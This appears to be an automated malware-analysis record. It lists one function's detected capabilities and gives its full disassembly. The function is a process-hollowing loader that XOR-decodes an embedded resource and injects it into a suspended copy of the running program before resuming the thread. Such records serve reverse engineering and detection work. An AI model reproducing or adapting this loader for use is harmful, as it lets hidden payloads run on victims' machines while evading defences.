Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Extract resource via kernel32 functions
Resume thread
Use process replacement

Disassembly:
push rbx
push rsi
push rdi
push r13
sub rsp, 0x508
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
movaps xmmword [rsp + 0x4f0], xmm6
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, str.HKDFGJIEWiwerSOEWIPWESJKBNBJFssss35hgf
mov edx, 0x9d1e
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
xor r13d, r13d
mov rdi, rax
test rax, rax
je 0x140001185
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140001185
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x140001185
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
movdqa xmm6, xmmword [0x1400033e0]
mov ecx, eax
mov edi, eax
call fcn.140001410
mov rbx, rax
mov r8d, r13d
test edi, edi
je 0x14000118f
mov rdx, rsi
mov r9d, edi
cmp edi, 0x40
jb 0x140001158
lea ecx, [rdi - 1]
add rax, rcx
add rcx, rsi
cmp rbx, rcx
ja 0x1400010de
cmp rax, rsi
jae 0x140001158
mov eax, edi
mov r11d, edi
and eax, 0x3f
sub r11d, eax
mov r10d, 0x20
mov rdx, rsi
mov r9d, edi
nop word [rax + rax]
mov eax, r8d
add r8d, 0x40
movdqu xmm0, xmmword [rax + rsi]
pxor xmm0, xmm6
movdqu xmmword [rax + rbx], xmm0
lea eax, [r10 - 0x10]
movdqu xmm0, xmmword [rax + rsi]
pxor xmm0, xmm6
movdqu xmmword [rax + rbx], xmm0
mov eax, r10d
movdqu xmm0, xmmword [rax + rsi]
pxor xmm0, xmm6
movdqu xmmword [rax + rbx], xmm0
lea eax, [r10 + 0x10]
add r10d, 0x40
movdqu xmm0, xmmword [rax + rsi]
pxor xmm0, xmm6
movdqu xmmword [rax + rbx], xmm0
cmp r8d, r11d
jb 0x140001100
cmp r8d, edi
jae 0x14000118f
mov ecx, r8d
sub rdx, rbx
add rcx, rbx
sub r9d, r8d
mov r8d, r9d
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
lea rcx, [rcx + 1]
xor al, 0x26
mov byte [rcx - 1], al
sub r8, 1
jne 0x140001170
jmp 0x14000118f
xor ecx, ecx
call fcn.140001410
mov rbx, rax
movsxd rdi, dword [rbx + 0x3c]
movaps xmm6, xmmword [rsp + 0x4f0]
add rdi, rbx
cmp dword [rdi], 0x4550
jne 0x1400013bc
xorps xmm1, xmm1
lea rdx, [rsp + 0xe0]
xor eax, eax
xorps xmm0, xmm0
mov r8d, 0x104
mov qword [rsp + 0x60], rax
xor ecx, ecx
mov qword [rsp + 0xd0], rax
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x80], xmm1
movups xmmword [rsp + 0x90], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0xb0], xmm1
movups xmmword [rsp + 0xc0], xmm1
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor edx, edx
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400013bc
mov edx, 8
xor ecx, ecx
mov r8d, 0x1000
lea r9d, [rdx - 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rsi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1400013bc
mov r8d, dword [rdi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x538], r12
mov qword [rsp + 0x540], r14
mov qword [rsp + 0x500], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rdi + 0x54]
mov r8, rbx
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov r15, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14, r13
cmp r13w, word [rdi + 6]
jae 0x140001371
mov qword [rsp + 0x530], rbp
mov rbp, r13
nop word [rax + rax]
movsxd rax, dword [rbx + 0x3c]
mov rcx, qword [rsp + 0x50]
add rax, rbp
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rbx + 0x11c]
mov edx, dword [rax + rbx + 0x114]
add r8, rbx
mov r9d, dword [rax + rbx + 0x118]
add rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsi + 0x88]
lea r8, [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rdi + 6]
inc r14
add rbp, 0x28
cmp r14, rax
jb 0x140001300
mov rbp, qword [rsp + 0x530]
mov eax, dword [rdi + 0x28]
mov rdx, rsi
add rax, r15
mov qword [rsi + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r15, qword [rsp + 0x500]
mov r14, qword [rsp + 0x540]
mov r12, qword [rsp + 0x538]
xor eax, eax
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.1400013f0
add rsp, 0x508
pop r13
pop rdi
pop rsi
pop rbx
ret